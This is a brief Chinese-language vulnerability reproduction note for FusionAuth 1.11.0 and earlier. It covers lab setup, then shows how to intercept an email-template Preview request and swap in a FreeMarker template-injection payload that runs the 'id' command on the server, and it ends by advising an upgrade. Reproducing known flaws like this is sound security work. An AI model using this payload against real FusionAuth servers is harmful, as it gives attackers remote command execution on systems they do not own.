简介¶
FusionAuth是一个免费的身份管理平台，安装简单，易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。
影响版本¶
FusionAuth <= 1.11.0
环境搭建¶
下载 FusionAuth 1.10.0
wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip
wget https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-8-6
启动 MySQL /etc/init.d/mysql start
启动 ElasticSearch systemctl start elasticsearch.service
启动 FusionAuth bin/startup.sh
配置 FusionAuth
配置 Elastic Search
漏洞复现¶
进入 setting -> email template
然后编辑
点击 Preview,抓包
修改
emailTemplate.defaultHtmlTemplate
为
${"freemarker.template.utility.Execute"?new()("id")}
修复建议¶
升级到最新版